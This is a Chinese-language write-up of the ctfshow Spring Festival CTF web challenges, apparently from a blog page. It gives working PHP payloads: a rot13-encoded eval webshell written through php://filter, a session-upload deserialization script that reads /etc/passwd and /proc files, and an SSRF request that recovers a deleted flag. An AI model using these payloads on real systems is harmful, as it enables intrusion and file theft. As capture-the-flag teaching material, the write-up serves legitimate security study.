ctfshow新春欢乐赛

ctfshow新春欢乐赛

热身

直接给了shell,phpinfo找flag就行,去指定目录

image-20250120134048616

web1

死亡exit绕过

<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);

参考链接

https://xiaolong22333.top/archives/114/

解法

?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php

web2

session_id是一个得到当前会话id的函数,并返回当前会话id,利用这个点

​
highlight_file(__FILE__);
session_start();
error_reporting(0);
​
include "flag.php";
​
if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>

session_id=session_id
​
PHPSESSID=HappyNewYear

web3

highlight_file(__FILE__);
error_reporting(0);
​
include "flag.php";
$key=  call_user_func(($_GET[1]));
​
if($key=="HappyNewYear"){
  echo $flag;
}
​
die("虎年大吉,新春快乐!");

弱类型比较

?1=session_start
?1=error_reporting
?1=json_last_error

web4

新函数的使用

?1=spl_autoload_extensions

默认文件后缀为incphp,这里也是利用这个函数

然后访问/.inc,.php

web5

file_put_contents(),当没有文件名时,自动创建,当文件中有内容时,会自动覆盖原有的内容。 所以为了避免被覆盖,利用: 发送超长字符致使php内存溢出,发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,从而避免后面的内容覆盖 payload:POST大量的hu

溢出脚本

import requests
url="http://ee7e1aa6-53c1-4113-bd07-7847fe95f9c3.challenge.ctf.show/"
​
payload=524280*"hu"
​
data={"🐯":payload}
r=requests.post(url,data)
print(r.text)

web6

这题确实有意思

提示

    //出题人已经拿过flag,题目正常,也就是说...

那么就去读取日志文件

/var/log/nginx/access.log

这是个反序列化,方法是通过替换为空去减少字符

GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}

web7

源码

 <?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
​
if (isset($_GET['phpinfo']))
{
    phpinfo();
}
if (isset($_GET['source']))
{
    highlight_file("class.php");
}
​
$happy=new Happy();
$happy();
?>
<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";
​
        }
        function __destruct(){
                $this->happy->happy;
​
        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }
​
        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }
​
​
    }
​
    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";
​
        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }
​
        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;
​
        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }
​
 }
    class Year{
        public $zodiac;
         public function __invoke()
        {
            echo "happy ".$this->zodiac." year!";
​
        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString()
        {
                $this->show();
​
        }
        public function __set($key,$value)#3
        {
            $this->$key = $value;
        }
​
        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }
​
    }
?>

填写表单

<form action="http://1bd48b1f-459e-411c-adcf-81a7167b60d5.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
        <input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="123" />
        <input type="file" name="file" />
        <input type="submit" />
</form>
​

session.upload_progress.enabled为on,session.upload_progress.cleanup为off

所以,在index中没有可控的参数,我们就通过session.upload_progress,上传文件,来进行session反序列化。

这儿解释一下,session.upload_progress.enabled为on代表这,当我们从浏览器向服务器上传文件时,会将文件上传的详细信息(上传进度,上传内容等)存储在session中

通过反序列化制造文件读取

<?php
    class Happy {
        public $happy;
    }
​
    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
​
 }
    class Year{
        public $zodiac;
​
    }
​
$a=new Happy();//创建Happy对象
$a->happy=new _New_();//当访问到Happy的destruct,就是new对象访问happy属性,触发new的get方法
$a->happy->daniu=new _New_();//把对象当作字符串,触发tostring方法
$a->happy->daniu->daniu=new Year();//$a->happy->daniu的daniu属性赋值
$a->happy->daniu->robot="zodiac";//给$zodiac赋值
$a->happy->daniu->notrobot="/etc/passwd";
//(string)转换,就是将对象当作字符串,触发year的tostring方法,然后到show方法。
echo serialize($a);
​
?>

先读取cmdline获取进程任务,/proc/114/cmdline有server.py服务,前去查看源码如下👇

from flask import *
import os
​
​
app = Flask(__name__)
flag = open('/flag', 'r')
# flag 我删了
os.remove('/flag')
​
​
@app.route('/', methods=['GET', 'POST'])
def index():
    return "flag 我删了,你们别找了"
​
​
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
    return send_file(request.args['filename'])
​
​
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

os.remove('/flag')得知flag删除了,我们可以使用/proc/self/fd/{数字},来获取删除的内容。

看到/download/send_file可以获取本地服务器的内容。

拿被人脚本改改

import requests
import time
​
​
def get_file(filename):
    data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
​
123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain
​
​
------WebKitFormBoundarytyYa582A3zCNLMeL--"""
    r=requests.post(url='http://c1ab4788-ad68-48a0-9fc7-ed6af105a677.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=917571d70a5c49843a1625b52880d774'})
    return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00
​
#for i in range(115):
    #print(i)
    #print(get_file('/proc/'+str(i)+'/cmdline'))
    #time.sleep(0.2)
    
#print(get_file('/app/server.py'))
​
for i in range(10):
    print(i)
    print(get_file('http://127.0.0.1:5000/download/?filename=/proc/self/fd/'+str(i)))
    time.sleep(0.2)
​
​

image-20250120182744793

参考

https://blog.youkuaiyun.com/unexpectedthing/article/details/122840053
https://baozongwi.xyz/2025/01/19/ctfshow%E6%96%B0%E6%98%A5%E6%AC%A2%E4%B9%90%E8%B5%9B/
https://blog.youkuaiyun.com/qq_50589021/article/details/122881285
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值